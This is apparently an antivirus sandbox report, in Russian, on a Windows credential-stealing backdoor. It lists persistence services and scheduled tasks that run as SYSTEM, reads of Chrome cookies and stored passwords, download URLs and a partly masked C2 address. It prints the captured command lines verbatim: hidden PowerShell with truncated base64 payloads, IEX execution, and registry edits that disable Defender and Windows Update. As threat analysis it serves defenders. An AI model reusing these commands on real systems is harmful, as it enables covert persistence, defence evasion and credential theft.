Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoft\windows\shell\updshell
- <SYSTEM32>\tasks\microsoft\windows\autochk\systemproxy
- <SYSTEM32>\tasks\microsoft\windows\mobilepc\detectpc
- <SYSTEM32>\tasks\update shell
Создает следующие сервисы
- [<HKLM>\System\CurrentControlSet\Services\WinDefends] 'ImagePath' = 'cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBD...
- [<HKLM>\System\CurrentControlSet\Services\thundersec] 'ImagePath' = 'cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBD...
- [<HKLM>\System\CurrentControlSet\Services\WindowsNetworkSVC] 'ImagePath' = 'cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAG...
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DisableNotifications' = '00000001'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
Загружает
- https://gist.githubusercontent.com/sslsecurityonline/f24b98d89d6b0c1ef7c3d24e788348de/raw/6e3cb9665c02065cc2487aa1d3228e2531636fd0/aa
- https://raw.githubusercontent.com/sslsecurityonline/thdr/master/thd
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\notepad.exe
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
- %WINDIR%\syswow64\explorer.exe
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions\]
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\sdszfo.docx
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\2fda\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\2fda\freebl3.dll
- %TEMP%\2fda\mozglue.dll
- %TEMP%\2fda\msvcp140.dll
- %TEMP%\2fda\nss3.dll
- %TEMP%\2fda\nssdbm3.dll
- %TEMP%\2fda\softokn3.dll
- %TEMP%\2fda\ucrtbase.dll
- %TEMP%\2fda\vcruntime140.dll
- %TEMP%\11510937435764637438553.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %TEMP%\11652504286943989415923.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\11629377162967251881620.tmp
- %TEMP%\11633752327281652652610.tmp
- %TEMP%\1164093421543851266394.tmp
- %TEMP%\1164093421543851266394.tmp-shm
- %TEMP%\116434368340533252663.tmp
- %TEMP%\11647658426319619744644.tmp
- %TEMP%\1164953172887807232270.tmp
- %TEMP%\11649687683320980281646.tmp
- %TEMP%\11649683498452466664343.tmp
- %TEMP%\11649846027655248979337.tmp
- %TEMP%\11651253209121838478931.tmp
- %TEMP%\2fda\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\11511252637383989825438.tmp
- %TEMP%\2fda\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\2fda\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\2fda\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\2fda\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\2fda\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\2fda\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\11652504286943989415923.tmp-shm
Удаляет следующие файлы
- %TEMP%\11510937435764637438553.tmp
- %TEMP%\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\2fda\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\2fda\ucrtbase.dll
- %TEMP%\2fda\api-ms-win-crt-private-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\2fda\freebl3.dll
- %TEMP%\2fda\mozglue.dll
- %TEMP%\2fda\msvcp140.dll
- %TEMP%\2fda\nss3.dll
- %TEMP%\2fda\nssdbm3.dll
- %TEMP%\2fda\softokn3.dll
- %TEMP%\2fda\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\11652504286943989415923.tmp
- %TEMP%\11511252637383989825438.tmp
- %TEMP%\11629377162967251881620.tmp
- %TEMP%\11633752327281652652610.tmp
- %TEMP%\1164093421543851266394.tmp-shm
- %TEMP%\1164093421543851266394.tmp
- %TEMP%\116434368340533252663.tmp
- %TEMP%\11647658426319619744644.tmp
- %TEMP%\1164953172887807232270.tmp
- %TEMP%\11649687683320980281646.tmp
- %TEMP%\11649683498452466664343.tmp
- %TEMP%\11649846027655248979337.tmp
- %TEMP%\11651253209121838478931.tmp
- %TEMP%\11652504286943989415923.tmp-shm
- %TEMP%\2fda\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\2fda\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\2fda\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\2fda\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\2fda\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\2fda\vcruntime140.dll
Сетевая активность
TCP
Запросы HTTP POST
- http://hy###lan.xyz/ynvs2/index.php
UDP
- DNS ASK gi##.###hubusercontent.com
- DNS ASK google.com
- DNS ASK ra#.####ubusercontent.com
- DNS ASK hy###lan.xyz
- DNS ASK gi##ab.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAKAGMAbQBkACAALwBjACAAcgBlAGcAIABhAGQAZA...' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 1 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path H...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc start thundersec' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ec WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoA...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAGwAZQAuAGMAbwBtACAALQBjAG8AdQBuAHQAIAAxACAALQBRAHUAaQBlAHQAfQAgAHUAbgB0AGkAb...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -w 1 -exec bypass -ec JABjAG8AbQAgAD0AIAAiAFUAdwBCAGwAQQBIAFEAQQBMAFEAQgBOAEEASABBAEEAVQBBAEIAeQBBAEcAVQBBAFoAZwBCAGwAQQBIAEkAQQBaAFEAQgB1AEEARwBNAEEAWgBRAEEAZwBBAEMAMABBAFIAQQBCAHAAQQBIAE0AQQB...
- '%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /tn \Microsoft\Windows\Autochk\SystemProxy /run
- '%WINDIR%\syswow64\schtasks.exe' /tn \Microsoft\Windows\Autochk\SystemProxy /run
- '%WINDIR%\syswow64\cmd.exe' /c sc delete WindowsNetworkSVC
- '%WINDIR%\syswow64\sc.exe' delete WindowsNetworkSVC
- '%WINDIR%\syswow64\cmd.exe' /c sc create WindowsNetworkSVC binpath= "cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAb...
- '%WINDIR%\syswow64\sc.exe' create WindowsNetworkSVC binpath= "cmd /c powershell -w 1 -exec bypass -e aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
- '%WINDIR%\syswow64\schtasks.exe' /create /tn \Microsoft\Windows\MobilePC\DetectPC /tr "cmd /c sc start WindowsNetworkSVC" /sc hourly /mo 1 /RL HIGHEST /RU "NT AUTHORITY\SYSTEM" /f
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ec WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoA...
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 1 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path H...
- '%WINDIR%\syswow64\schtasks.exe' /create /f /tn "Update Shell" /sc hourly /mo 1 /tr "powershell -w 1 -C IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(Get-ItemProperty -Path HKCU:\Softwar...
- '<SYSTEM32>\cmd.exe' /c sc start thundersec
- '<SYSTEM32>\sc.exe' start thundersec
- '<SYSTEM32>\cmd.exe' /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwA...
- '%WINDIR%\syswow64\notepad.exe'
- '%WINDIR%\syswow64\schtasks.exe' /create /tn \Microsoft\Windows\Autochk\SystemProxy /sc hourly /f /mo 1 /tr "cmd /c sc start thundersec" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /tn \Microsoft\Windows\MobilePC\DetectPC /tr "cmd /c sc start WindowsNetworkSVC" /sc hourly /mo 1 /RL HIGHEST /RU "NT AUTHORITY\SYSTEM" /f
- '%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Autochk\SystemProxy /sc hourly /f /mo 1 /tr "cmd /c sc start thundersec" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
- '%WINDIR%\syswow64\cmd.exe' /c sc delete WinDefends
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c sc stop wuauserv
- '%WINDIR%\syswow64\sc.exe' stop wuauserv
- '%WINDIR%\syswow64\cmd.exe' /c sc config wuauserv start= disabled
- '%WINDIR%\syswow64\sc.exe' config wuauserv start= disabled
- '%WINDIR%\syswow64\sc.exe' delete WinDefends
- '%WINDIR%\syswow64\cmd.exe' /c sc create thundersec binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
- '%WINDIR%\syswow64\cmd.exe' /c sc create WinDefends binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8...
- '%WINDIR%\syswow64\sc.exe' create WinDefends binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkA...
- '%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\updshell /sc hourly /f /mo 8 /tr "cmd /c sc start WinDefends" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
- '%WINDIR%\syswow64\schtasks.exe' /create /tn \Microsoft\Windows\Shell\updshell /sc hourly /f /mo 8 /tr "cmd /c sc start WinDefends" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
- '%WINDIR%\syswow64\cmd.exe' /c sc delete thundersec
- '%WINDIR%\syswow64\sc.exe' delete thundersec
- '%WINDIR%\syswow64\sc.exe' create thundersec binpath= "cmd /c powershell -exec bypass -w 1 -ec aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkA...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -e ZABvACAAewAkAHAAaQBuAGcAIAA9ACAAdABlAHMAdAAtAGMAbwBuAG4AZQBjAHQAaQBvAG4AIAAtAGMAbwBtAHAAIABnAG8AbwBnAGwAZQAuAGMAbwBtACAALQBjAG8AdQBuAHQAIAAxACAALQBRAHUAaQBlAHQAfQAgAHUAbgB0AGkAb...
